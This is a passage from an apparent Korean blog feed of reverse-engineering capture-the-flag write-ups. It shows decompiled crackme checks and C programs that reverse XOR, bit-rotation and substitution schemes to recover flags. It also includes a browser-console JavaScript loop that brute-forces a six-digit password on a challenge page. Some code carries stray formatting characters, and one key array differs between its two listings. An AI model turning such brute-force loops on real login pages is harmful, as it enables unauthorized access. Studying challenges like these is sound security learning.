stream 에서 1byte를 읽어서 ptr 에 저장하고, 4byte의 v6를 순환하여 XOR 연산을 수행한다.
XOR의 키 값은 v6이기 때문에 unk_2004에 들어있었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d14f5261-3804-45eb-aa35-d7c02aed7567/image.png" alt="">
이 값에 19를 더하여 암호화하여 ptr 에 덧붙이고 쓰기모드로 실행한 encrypted 파일로 저장하는 방식이다.
디컴파일 코드의 복잡함에 비해 복호화 코드는 연산 부분만 역연산으로 수정 하면 되기에 쉽게 구연할 수 있었다.</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main() {
    char ptr;
    int v5 = 0;
    unsigned char v6[4] = {0xDE, 0xAD, 0xBE, 0xEF};
    FILE *encrypted_file = fopen(&quot;encrypted&quot;, &quot;rb&quot;);
    FILE *decrypted_file = fopen(&quot;decrypted.png&quot;, &quot;wb&quot;);

    if (!encrypted_file) {
        puts(&quot;fopen() error for encrypted file&quot;);
        exit(1);
    }

    if (!decrypted_file) {
        puts(&quot;fopen() error for decrypted file&quot;);
        fclose(encrypted_file);
        exit(1);
    }

    while (fread(&amp;ptr, 1, 1, encrypted_file) == 1) {
    ptr -= 0x13;
    ptr ^= v6[v5++ % 4];
    fwrite(&amp;ptr, 1, 1, decrypted_file);
}

    fclose(encrypted_file);
    fclose(decrypted_file);
    return 0;
}</code></pre><p>vsc로 실행하니
<img src="https://velog.velcdn.com/images/shin_yy/post/4e3e5fc9-165a-4a7c-afc0-8f279eb7d35f/image.png" alt="">
다음과 같은 png 파일이 생성되며 flag를 알 수 있었다.</p>
<p>개인적으로 fwrite 등의 파일을 여는 코드를 다뤄본 것이 오랜만이라서 복호화 코드만을 작성하면 된다는 것을 간과한 채, 뻘짓을 하여 시간을 다 날렸다 ...</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 7차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-7%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-7%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Sat, 21 Jun 2025 14:44:38 GMT</pubDate>
            <description><![CDATA[<h1 id="과제">과제</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/f36e42de-466e-4334-ab47-cbf5891629cd/image.png" alt=""></p>
<h2 id="custom-2">Custom 2</h2>
<blockquote>
</blockquote>
<p>문제 파일을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/4e02be0f-42c7-48ed-a58c-12d3dab5a9e5/image.png" alt="">
코드가 함수하나 없이 깔끔한 편이여서 간단하게 풀 수 있었다.
먼저 중요한 변수들은 살펴보면,
v4 라는 정수형 변수에 76을 대입하고
vars0 이라는 80 크기의 문자열을 선언한다.
v3라는 변수는 추후 반복문에서 i 처럼 사용되는 것 같다.
s 라는 264 크기의 문자열을 선언하는데 이 변수는 추후에 문자열을 받기 위한
변수이기 때문에 신경쓰지 않겠다.
가장 중요한 key 변수 enc2_0 을 살펴보겠다.
<img src="https://velog.velcdn.com/images/shin_yy/post/9b60d8b6-410d-4bb7-9202-7f0f8542705c/image.png" alt="">
enc2_0 은 64 크기로 지정된 배열이다.
이 코드에서 암호화를 진행할 때 이 배열을 토대로 진행한다.</p>
<blockquote>
</blockquote>
<p>변수를 확인했으니 암호화를 진행하는 부분을 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/f33d03fc-06d5-4733-9d62-162598da28cc/image.png" alt="">
쉽게 설명해보면 vars0[i]에 v4 - i * i 를 대입하고,
v4를 enc2_0[i]로 값을 변환 시킨다.</p>
<blockquote>
</blockquote>
<p>플래그는 enc2_0 배열을 그대로 가져와 해당 암호화 코드를 시키면 찾아낼 수 있다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main() {
    int v3 = 0;
    int v4 = 76;
    char vars0[80];
    unsigned enc2_0[64] = {
        0x4C, 0x62, 0x7D, 0x6E, 0x82, 0x50, 0x9F, 0x87, 0x72, 0xBD, 0xD9,
        0xD3, 0xD7, 0xE2, 0xF7, 0x2A, 0x48, 0x6F, 0xB0, 0xC2, 0xE8,
        0x0B, 0x5E, 0x5A, 0x87, 0xB7, 0x1E, 0x22, 0x58, 0x9B, 0xF3,
        0x1B, 0x53, 0x83, 0xFB, 0x2B, 0x57, 0x9F, 0x19, 0x4B, 0x93, 0xD3,
        0x5E, 0x9D, 0xD7, 0x2F, 0xBD, 0x05, 0x48, 0xAE, 0x2B, 0x8B, 0xD7,
        0x4F, 0xCC, 0x35, 0xAD, 0x1D, 0x99, 0xE3, 0x87, 0xC6, 0x41,
        0xFE
    };
&gt;
    unsigned char * byte = (unsigned char *) vars0;
&gt;
    while ( 1 ) {
        byte[v3] = v4 - v3 * v3;
        if ( ++v3 == 64 )
            break;
        v4 = enc2_0[v3];
    }
&gt;   
    byte[64] = 0;
&gt;
    for (int i = 0; i &lt; 64; i++) {
        printf(&quot;%c&quot;, byte[i]);
    }
}</code></pre><h2 id="custom-3">Custom 3</h2>
<blockquote>
</blockquote>
<p>문제 파일을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/27a3619b-e687-4850-9c2f-aa0e47e1ce9a/image.png" alt="">
변수 s에 최대 152 크기에 문자열을 입력받는다.
<img src="https://velog.velcdn.com/images/shin_yy/post/84954764-11d1-4249-bd91-35a231b1b3a2/image.png" alt="">
그리고 이 값들이 s1에 저장된다.</p>
<blockquote>
</blockquote>
<p>코드를 계속 읽어보면 funcs_1E5B라는 함수 배열이 존재하는데
<img src="https://velog.velcdn.com/images/shin_yy/post/e3525f41-2da0-4e36-816d-3ba9296659a2/image.png" alt="">
(입력받은 문자열의 길이 % 11) 번째 함수를 실행한다.
모든 함수는 구성이 비슷하다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2abe079b-4d0b-44c2-bad5-87740a144a7a/image.png" alt="">
이렇게 생긴 구조에서 반복적으로 함수를 호출한다.
이 중 sub_1397 이라는 함수에 들어가게 되면 두 개의 함수가 뜨는데
그 곳에서 sub_12C6에 들어가면 키 값으로 XOR 연산을 하는 것을 발견할 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/82c2e183-21be-4300-bc49-c425029025b9/image.png" alt="">
키 값인 byte_2010에 저장된 값들을 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/6e8e4731-c83b-4714-9fc3-4bf508fcfd49/image.png" alt="">
이 값들을 s에 값에 115자리까지만 XOR 해주면 플래그가 출력될 것이다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main() {
    unsigned char byte_2010[16] = {
        0x10, 0x1F, 0x2E, 0x3D, 0x4C, 0x5B, 0x6A, 0x79,
        0x88, 0x97, 0xA6, 0xB5, 0xC4, 0xD3, 0xE2, 0xF1
    };
&gt;
    unsigned char s1[116] = {
        0x5C, 0x7E, 0x57, 0x58, 0x3E, 0x6C, 0x11, 0x2F,
        0xCF, 0xFF, 0xD6, 0xD6, 0xBD, 0x91, 0x96, 0xA8,
        0x48, 0x74, 0x49, 0x64, 0x21, 0x0E, 0x0D, 0x1D,
        0xCF, 0xFF, 0xCA, 0xFC, 0x83, 0xE6, 0x92, 0xAB,
        0x22, 0x77, 0x1E, 0x74, 0x04, 0x09, 0x05, 0x20,
        0xD0, 0xC6, 0xC1, 0xD7, 0x9C, 0xB8, 0x85, 0xAB,
        0x58, 0x55, 0x42, 0x64, 0x1B, 0x6A, 0x10, 0x30,
        0xCF, 0xA6, 0xD6, 0xEF, 0xF6, 0xBB, 0xD2, 0xB8,
        0x57, 0x67, 0x42, 0x59, 0x0F, 0x19, 0x1E, 0x23,
        0xDB, 0xD5, 0xD4, 0xD7, 0xA9, 0xEA, 0xD1, 0xB2,
        0x7B, 0x59, 0x5D, 0x5F, 0x0F, 0x19, 0x5A, 0x18,
        0xCF, 0xC2, 0xC1, 0xD6, 0xF7, 0x81, 0x8A, 0x92,
        0x7E, 0x52, 0x49, 0x64, 0x14, 0x19, 0x1D, 0x1A,
        0xE5, 0xAE, 0xCE, 0xEC, 0xF6, 0xB4, 0x85, 0x94,
        0x47, 0x26, 0x1F, 0x40
    };
&gt;
    for (int i = 0; i &lt; 116; i++) {
        s1[i] ^= byte_2010[i % 16];
    }
&gt;
    for (int i = 0; i &lt; 116; i++) {
        printf(&quot;%c&quot;, s1[i]);
    }
&gt;
    return 0;
}</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 6차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-6%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-6%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Tue, 17 Jun 2025 14:33:38 GMT</pubDate>
            <description><![CDATA[<h1 id="r6">R6</h1>
<blockquote>
</blockquote>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/10420e8b-2005-4c4e-bec9-f42eec7775a1/image.png" alt=""></p>
<h2 id="custom-1">Custom 1</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
31번째줄에 check1 이라는 함수가 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/69dd91e1-9ba4-481d-90ab-12999e93b0d6/image.png" alt="">
해당 함수에서 &#39;참&#39;이 반환되는 입력값이 플래그일 것이기 때문에,
이 함수를 분석해보겠다.
<img src="https://velog.velcdn.com/images/shin_yy/post/2657e649-0e1f-41e0-beac-8f02d8d7b683/image.png" alt="">
변수 v5에 할당되는 배열을 알아내기 위해 해당 주소값을 찾아가보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/408af0f2-eabb-495b-82b3-e9709a37c580/image.png" alt="">
그 결과 다음과 같은 배열을 얻게 되었다.</p>
<pre><code>char v5[80] = {
        0xA6, 0x62, 0x55, 0xA8, 0x90, 0xAC, 0xBA, 0x0A, 0xE5, 0x3B, 0x07, 0xDD, 0x09, 0x03, 0x8B, 0x49,
        0x8D, 0x73, 0x01, 0xCD, 0xF2, 0xCF, 0xAB, 0xB0, 0xBE, 0x12, 0x43, 0xD8, 0x55, 0xBD, 0xBB, 0x0E,
        0xC1, 0x18, 0xCF, 0x5A, 0xD0, 0x60, 0xB7, 0xF3, 0xE9, 0xB6, 0x4D, 0xD7, 0x14, 0x0B, 0x0A, 0x0F,
        0xC1, 0x05, 0x13, 0x77, 0x45, 0x7A, 0x20, 0x28, 0x79, 0x80, 0xCB, 0x9E, 0xF9, 0xBF, 0x55, 0x21,
        0x4D, 0x17, 0x11, 0x5D, 0x21, 0x77, 0x8F, 0xD1, 0xAA, 0x02, 0xE2, 0x7E, 0xFD, 0xAA, 0x15, 0x2C
    };</code></pre><p>해당 배열을 방금 check1 함수에서 문자열을 검사하는 역할을 하는 조건문에 역연산하면 된다.</p>
<pre><code>if ( *(_BYTE *)(a1 + v2) - ((v1 ^ 0xA6) + 4 * (_BYTE)v2) != v3 )
&gt;
| a1    | 검사 대상 문자열의 주소              
| v1    | 반복마다 `+93`씩 증가
| v2    | 0부터 79까지 반복 증가                                                
| v5[5] | 80바이트 16진수 배열</code></pre><p>이 조건문을 이해하기 쉽도록 C언어 기반으로 다시 작성해보았다.</p>
<pre><code>if (a1[i] - ((v1 ^ 0xA6) + 4 * v2 != v3))</code></pre><p>이제 해당 식을 이용하여 플래그를 출력하기 위한 역연산 코드를 구상해보겠다.</p>
<pre><code>I    |     a1[i] - ((v1 ^ 0xA6) + 4 * v2 != v3)
II     |    a1[v2] = v3 + ((v1 ^ 0xA6) + 4 * v2)</code></pre><p>해당 역연산식을 이용하여 플래그를 출력하는 프로그램을 작성해보았다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main()
{
    char v5[80] = {
        0xA6, 0x62, 0x55, 0xA8, 0x90, 0xAC, 0xDB, 0x0A, 0xE5, 0x3B,
        0x07, 0xDD, 0x09, 0x03, 0x8B, 0x49, 0x8D, 0x73, 0x01, 0xCD,
        0x26, 0xFF, 0xBC, 0x0A, 0xEB, 0x2B, 0x31, 0x84, 0x5D, 0xD5,
        0xBB, 0xE8, 0xC1, 0x8D, 0xF1, 0xAC, 0x05, 0x0D, 0x76, 0x3B,
        0x9F, 0x6E, 0xDB, 0x74, 0x4D, 0xB1, 0xA0, 0xF0, 0xC1, 0x05,
        0x13, 0x77, 0x45, 0x7A, 0x20, 0x28, 0x79, 0x80, 0xCB, 0x9E,
        0xF9, 0xBF, 0x55, 0x21, 0x4D, 0x17, 0x11, 0x5D, 0x21, 0x77,
        0x8F, 0xD1, 0xAA, 0x02, 0xE2, 0x7E, 0xFD, 0xAA, 0x15, 0x2C
    };
&gt;
    int a = 0;
&gt;
    for (int i = 0; i &lt; 80; i++) {
        v5[i] = v5[i] + ((a ^ 0xA6) + 4 * i);
        a += 93;
    }
&gt;
    for (int i = 0; i &lt; 80; i++) {
        printf(&quot;%c&quot;, v5[i]);
    }
&gt;
    putchar(&#39;\n&#39;); // 줄바꿈 추가 (선택 사항)
    return 0;
}</code></pre><p>그 결과 정상적인 플래그가 출력되었다.</p>
<h2 id="custom-2">Custom 2</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
74번째줄에 check2 이라는 함수가 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/f0628ca7-b416-4ffe-9498-f8096e5c31df/image.png" alt="">
요번에도 마찬가지로 해당 함수를 분석해보겠다.
<img src="https://velog.velcdn.com/images/shin_yy/post/3e174cf3-afe3-446b-aff2-106cbc8a01b2/image.png" alt="">
저번에 이어서 다시 한 번 함수 rol이 나왔다.
rol은 왼쪽으로 비트를 회전시키는 함수이다.</p>
<pre><code>ror (오른쪽으로 비트 회전)    |    오른쪽으로 밀린 비트는 왼쪽 끝으로 돌아옴
rol (왼쪽으로 비트 회전)        |    왼쪽으로 밀린 비트는 오른쪽 끝으로 돌아옴</code></pre><p>함수 rol은 ((3 * i) ^ a1[i])와 (i % 7 + 1)을 연산한 후 반환한다.
그 후 v3 + i 와 일치하는지 검사한다.</p>
<blockquote>
</blockquote>
<p>이 식을 역연산하기 위해 ror을 사용하여 회전시킨 비트 수 만큼
다시 복호화하는 코드를 구상해보았다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
unsigned ror(unsigned char a1, int a2) {
    return (a1 &gt;&gt; a2) | (a1 &lt;&lt; (8 - a2));
}
&gt;
int main() {
    unsigned long long v3[21] = {
        v3[0] = 0x8EB40ECFC6FB8998LL,
        v3[1] = 0x21BCB25368270A01LL,
        v3[2] = 0x39C4F2B5D689171BLL,
        v3[3] = 0x93194406854821B0LL,
        v3[4] = 0x87E1D8EC10954864LL,
        v3[5] = 0xFB5C6BB58B321FCFLL,
        v3[6] = 0xFF243BEAEFC7C9EBLL,
        v3[7] = 0xCF657E5B3DF6A7F7LL,
        v3[8] = 0x1A6B4F25151AB41ELL,
        v3[9] = 0xA51A5B452E37A804LL,
        v3[10] = 0xF5BBE6775823F07ALL,
        v3[11] = 0xCF967B98E6BB5269LL,
        v3[12] = 0x58AA852A2DACB056LL,
        v3[13] = 0x164B41C02935DAB7LL,
        v3[14] = 0xEAB47A4B333990ELL,
        v3[15] = 0x7C1E27C74602F16DLL,
        v3[16] = 0xBFFBCFE57B3C8E46LL,
        v3[17] = 0x4F0697EF797E9D1FLL,
        v3[18] = 0x91EA4F3AB5E8E1FCLL,
        v3[19] = 0xE15D189C62F77DE3LL,
        v3[20] = 0x44F1B74B444E535CLL
&gt;
    };
&gt;
    unsigned char * byte = (unsigned char *) v3;
&gt;
    for (int i = 0; i &lt; 168; i++) {
        printf(&quot;%c&quot;, ror(byte[i], i % 7 + 1) ^ (3 * i));
    }
&gt;
    return 0;
}</code></pre><p>함수 ror을 선언한 후, 변수 v3의 값들을 byte 단위로 나누어준다.
그 후 역연산하여 출력하는 코드이다.</p>
<blockquote>
</blockquote>
<p>실행시키면 플래그가 나온다.</p>
<h2 id="custom-3">Custom 3</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
31번째줄에 check3 이라는 함수가 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/66eaac1b-fa62-43ac-a7f0-77ea5179063b/image.png" alt="">
해당 함수를 분석해보겠다.
<img src="https://velog.velcdn.com/images/shin_yy/post/420d2a73-9d3e-45c4-b42e-3d0ba1d7a650/image.png" alt="">
입력 값 a1[v3]은 unsigned char로 처리되며, 그 값을 sbox[]에 인덱스로 넣어 나온 값이 v2와 같아야한다.
perm[] 배열은 어떤 순서로 a1의 값을 검사할 것 인지를 지정한다.
enc3[] 배열은 sbox[a1[perm[i]]]과 일치해야하는 값이다.</p>
<blockquote>
</blockquote>
<p>변수에 들어있는 값들이 너무 많으므로 따로 더 생각하지 않고,
바로 역연산하는 코드를 작성하였다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
unsigned char sbox[] = {
    0xE8, 0x76, 0xDC, 0x0F, 0xCC, 0x4A, 0xF0, 0x16, 0x78, 0x42,
    0x4D, 0xAD, 0x5B, 0x9F, 0x2E, 0xBD, 0x96, 0xAB, 0x8E, 0xAF,
    0x13, 0x68, 0x9E, 0xD6, 0xB1, 0x72, 0xB0, 0x58, 0x2F, 0x31,
    0xC6, 0x47, 0x21, 0x5D, 0x9C, 0x26, 0x22, 0x25, 0xB2, 0xFA,
    0x30, 0x92, 0x90, 0xF5, 0xBC, 0x48, 0x2C, 0xE6, 0x12, 0xE4,
    0x6B, 0x35, 0xDE, 0xA1, 0xFD, 0x03, 0x19, 0x5E, 0x51, 0x85,
    0x46, 0x1A, 0x0A, 0x71, 0x0B, 0x01, 0x59, 0xEC, 0xF6, 0xCE,
    0x7B, 0x9A, 0xC5, 0xDD, 0x6A, 0xF7, 0xCF, 0xC3, 0x94, 0xD1,
    0x8B, 0x0D, 0x2B, 0xCB, 0x7A, 0x60, 0xA6, 0x53, 0xDF, 0x06,
    0x3B, 0x63, 0xEB, 0xB6, 0x37, 0x54, 0xD0, 0xDB, 0x18, 0x34,
    0x67, 0x64, 0x1F, 0x3C, 0x69, 0x49, 0xA2, 0x83, 0x45, 0xB4,
    0x3E, 0x55, 0xFB, 0x86, 0x41, 0xA5, 0x93, 0x6E, 0xC2, 0x9D,
    0x08, 0xC7, 0x07, 0xF9, 0x5A, 0x09, 0xA8, 0xE1, 0x3A, 0x05,
    0x56, 0xD2, 0x39, 0xED, 0x1E, 0x73, 0x84, 0x70, 0xAC, 0xE3,
    0x4F, 0x33, 0xAA, 0xF8, 0xD4, 0xA9, 0xB9, 0x2A, 0x8C, 0x79,
    0x97, 0x20, 0x88, 0x11, 0x7C, 0x15, 0x14, 0xFC, 0xB3, 0x0E,
    0x3D, 0x4E, 0xF4, 0xC4, 0x04, 0x7D, 0x52, 0x99, 0xBB, 0xCD,
    0x8A, 0x29, 0x5F, 0xD9, 0x32, 0x9B, 0xB5, 0xA3, 0x4C, 0xD8,
    0x1B, 0x81, 0x2D, 0x80, 0xFE, 0xBA, 0xC8, 0x00, 0x74, 0xD7,
    0x6F, 0x4B, 0xDA, 0x57, 0xF2, 0x44, 0xC0, 0xF3, 0xC9, 0x1D,
    0xB8, 0xD5, 0x02, 0x8D, 0x40, 0x87, 0x77, 0xD3, 0x61, 0x62,
    0x10, 0x98, 0xFF, 0xAE, 0xCA, 0x28, 0xA0, 0x27, 0x1C, 0x0C,
    0xC1, 0x17, 0x7E, 0x82, 0xEE, 0x38, 0x5C, 0x66, 0xE7, 0xE5,
    0x6D, 0x95, 0xBF, 0xEF, 0x89, 0x8F, 0xBE, 0x3F, 0x23, 0x43,
    0x24, 0x75, 0xA4, 0xEA, 0xE2, 0x65, 0x7F, 0xA7, 0x36, 0x50,
    0xB7, 0xE0, 0x91, 0xF1, 0xE9, 0x6C
};
&gt;
unsigned char perm[] = {
    0x2A, 0x29, 0x5B, 0x09, 0x41, 0x32, 0x01, 0x46,
    0x0F, 0x4E, 0x49, 0x0A, 0x37, 0x38, 0x48, 0x2D,
    0x30, 0x5C, 0x4C, 0x25, 0x1E, 0x15, 0x20, 0x60,
    0x50, 0x31, 0x53, 0x1A, 0x57, 0x21, 0x08, 0x2F,
    0x3B, 0x3F, 0x4A, 0x2C, 0x62, 0x34, 0x55, 0x0C,
    0x24, 0x17, 0x27, 0x28, 0x12, 0x42, 0x3D, 0x3C,
    0x07, 0x22, 0x63, 0x2E, 0x02, 0x33, 0x10, 0x26,
    0x3A, 0x44, 0x16, 0x3E, 0x18, 0x05, 0x06, 0x43,
    0x52, 0x13, 0x4F, 0x2B, 0x5A, 0x14, 0x00, 0x5F,
    0x39, 0x5D, 0x35, 0x59, 0x19, 0x47, 0x54, 0x4D,
    0x40, 0x1D, 0x1B, 0x58, 0x61, 0x04, 0x36, 0x4B,
    0x0B, 0x45, 0x56, 0x0D, 0x11, 0x1C, 0x1F, 0x23,
    0x5E, 0x03, 0x0E, 0x51
};
&gt;
unsigned char encr[] = {
    0x83, 0x67, 0x34, 0x06, 0x94, 0x3C, 0xDB, 0x83, 0x34, 0x3C, 0xE4,
    0x3C, 0x34, 0x49, 0x9A, 0x2B, 0x6B, 0x9A, 0x6B, 0x9D, 0x3C, 0x6A,
    0x53, 0x0D, 0x6B, 0x60, 0xDD, 0x35, 0x18, 0x45, 0x53, 0xDB, 0x34,
    0x18, 0x69, 0xC5, 0x1A, 0x53, 0xE4, 0x9A, 0xCB, 0x3B, 0xCB, 0xCB,
    0x35, 0x07, 0xA6, 0xB4, 0xCB, 0x6E, 0x09, 0x69, 0xC7, 0x64, 0xC7,
    0x3C, 0x83, 0x53, 0xA5, 0x69, 0xEC, 0x03, 0xF9, 0x06, 0x93, 0x18,
    0x6A, 0xDD, 0xFB, 0x35, 0xCF, 0xF6, 0x59, 0x08, 0x5E, 0x2B, 0x59,
    0xDD, 0x9A, 0x60, 0xDF, 0xC3, 0x06, 0xC5, 0x55, 0x41, 0xE4, 0xDB,
    0x67, 0xA1, 0xE4, 0x69, 0x59, 0xDF, 0x18, 0x3B, 0xA1, 0x64, 0xFB,
    0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00
};
&gt;
int main() {
    char answer[100] = {0};
&gt;
    for (int i = 0; i &lt; 100; i++) {
        unsigned char char_1 = encr[i];
        int char_2 = perm[i];                
&gt;
        for (int j = 0; j &lt; 256; j++) {
            if (sbox[j] == char_1) {
                answer[char_2] = j;
                break;
            }
        }
    }
&gt;
    answer[100] = 0;
&gt;   
    printf(&quot;%s\n&quot;, answer);
    return 0;
}</code></pre><p>answer은 정답 문자열을 저장하기 위한 문자열 변수다.</p>
<blockquote>
</blockquote>
<p>for문을 통해 i의 값을 상승시키며 char_1과 char_2의 값을 계속 업데이트 해준다.
sbox[i]의 값이 char_1. 즉, encr[i] 값과 동일할 경우 answer에 char2. 즉, answer에 인덱스 perm[i]에 i를 저장한다.
마지막에 Null 문자를 삽입하는 것을 잊지말자.</p>
<blockquote>
</blockquote>
<p>다음 프로그램을 실행하여 플래그 값을 얻을 수 있다.</p>
<h1 id="dreamhack">Dreamhack</h1>
<h2 id="please-please-please">please, please, please</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
<img src="https://velog.velcdn.com/images/shin_yy/post/5bfbf394-9774-4d81-96d2-fc8ea9946e7d/image.png" alt="">
플래그를 찾아달라는 말 밖에 없다 ..
그래서 Shift + F12 단축키를 사용하여 문자열 변수를 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/70e3d82f-f83e-4075-b17b-f25b1f33aacf/image.png" alt="">
그 결과 다음과 같은 플래그 값을 찾을 수 있었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/1f0b510e-d91a-4f41-9d79-04ff76efe92b/image.png" alt=""></p>
<h2 id="secure-mail">Secure Mail</h2>
<blockquote>
</blockquote>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/59175b96-841b-488b-972c-ee4cf9c243b8/image.png" alt="">
이것을 보고 알 수 있는 것이 어떠한 비밀번호가 6자리이며 알맞은 비밀번호를 입력했을 때,
플래그를 알아낼 수 있다는 것을 추측해 볼 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/0b05df43-b21b-45d7-aa55-ced661720333/image.png" alt="">
여기다가 비밀번호를 입력하면 되는 것 같다.
F12 관리자 창을 이용해 Source 탭에서 JS 소스를 분석해보자.
<img src="https://velog.velcdn.com/images/shin_yy/post/fef2bb67-1e08-4c94-b472-f9f1e7cc67d7/image.png" alt=""></p>
<pre><code>function _0x9a220(..., ...)
return alert(&#39;Wrong&#39;)</code></pre><p>함수 _0x9a220가 작동한다는 것과 잘못된 값이 입력되었을 때,
&#39;Wrong&#39;이라는 알람이 뜨는 것 외에는
난독화 때문에 알 수 있는 정보가 별로 없는것 같다.</p>
<blockquote>
</blockquote>
<p>따라서 이 문제는 무작정 모든 생년월일을 입력해보는
무차별 대입 공격(brute-force)을 이용해서 해결해야하는 것 같다.</p>
<blockquote>
</blockquote>
<p>Console 탭에서 생일을 무작정 대입해보는 소스를 작성해보았다.</p>
<pre><code>window.alert = function (val) {
  console.log(&quot;fail&quot;);
  return 1;
};
&gt;
function tryInput(val) {
  const format = /^([0-9]{2}(0[1-9]|1[0-2])(0[1-9]|[1-2][0-9]|3[0-1]))$/;
  if (format.test(val)) {
    _0x9a220(val);
  }
}
&gt;
for (let i = 500000; i &lt;= 991231; i++) {
  tryInput(i);
}</code></pre><p>이 코드를 실행시켜놓고 잠시 딴 짓을 하다오니 페이지가 넘어가져 있었고,
플래그를 알아낼 수 있었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d20453b2-c158-4785-9ea6-3a9088633776/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/2ea6583a-8393-43a2-ada0-2a5809b57607/image.png" alt=""></p>
<h2 id="fake">fake</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
<img src="https://velog.velcdn.com/images/shin_yy/post/686154dc-6dbb-4f4f-99c6-c8eaa946c7a2/image.png" alt="">
다수의 함수를 실행한다.
문제 이름이 fake 이듯, 이 중에서 아무런 역할도 하지 않는 함수를 찾아내는 것이 중요한 문제다.
일단 변수 ptr를 채워주는 함수 sub_140B는 가짜일리 없으니 확인해봤다.
<img src="https://velog.velcdn.com/images/shin_yy/post/5a0ad59d-2c95-45f3-970a-dc4797518d40/image.png" alt="">
확인 결과 다음과 같이 변수 v3를 선언하고 선언하고 if문에서는 변수 *ptr 에 따라 만약 참이라면 ptr[1]에 값을 대입한다. for문은 23번 반복 실행되며 *ptr[i]에 v3[i]를 넣고 *ptr의 인덱스에 0을 넣어서 문자열 끝을 표시하고 ptr을 반환한다. 뒤에 if문에서 &#39;참&#39;이 아니라면 ptr의 동적할당을 해제하고 &#39;거짓&#39;을 반환한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/64d68619-09bb-4acd-ae30-b079773c9889/image.png" alt="">
v2와 v3에 연산값을 넣고 있지만 주요한 변수 ptr 값이 바뀌진 않기 때문에 넘기겠다.
밑에 함수 sub_1189도 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/152cb474-ee5b-4e82-b8ee-6db98270d01a/image.png" alt="">
해당 함수를 실행했을 때도 마찬가지로 주요한 변화는 없다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e452b70f-3ea0-42c2-9f05-0a040d585776/image.png" alt="">
해당 함수들을 확인해보면 다음과 같은 프로그램을 구상하여 플래그를 출력할 수 있다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main() {
    unsigned char data[23] = {
        0x4A, 0x5B, 0x5B, 0x5F, 0x56, 0x68, 0x54, 0x59,
        0x50, 0x44, 0x06, 0x52, 0x45, 0x04, 0x41, 0x68,
        0x65, 0x7A, 0x74, 0x4C, 0x64, 0x73, 0x7F
    };
&gt;
    for (int i = 0; i &lt; 23 / 2; i++) {
        unsigned char tmp = data[i];
        data[i] = data[22 - i];
        data[22 - i] = tmp;
    }
&gt;
    for (int i = 0; i + 1 &lt; 23; i += 2) {
        unsigned char tmp = data[i];
        data[i] = data[i + 1];
        data[i + 1] = tmp;
    }
&gt;
    for (int i = 0; i &lt; 23; i++) {
        data[i] ^= 55;
    }
&gt;
    printf(&quot;%s\n&quot;, data);
    return 0;
}</code></pre><p>첫 번째 for문에서 값을 뒤집고, 마지막 for문에서 Xor 연산을 실행한다.</p>
<blockquote>
</blockquote>
<p>해당 프로그램을 실행시키면 플래그가 출력된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 5차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-5%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-5%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Wed, 11 Jun 2025 15:57:08 GMT</pubDate>
            <description><![CDATA[<h1 id="ida-interactive-disassembler">IDA (Interactive DisAssembler)</h1>
<h2 id="ida란">IDA란?</h2>
<ul>
<li>Hex-Rays SA에서 개발하여 판매중인 상용 디스어셈블러</li>
<li>기계어 코드로부터 어셈블리어 코드로 생성</li>
<li>다양한 프로세서 및 파일 유형을 지원</li>
<li>해석 기능과 자체적으로 지원하는 스크립팅 언어<h1 id="문제">문제</h1>
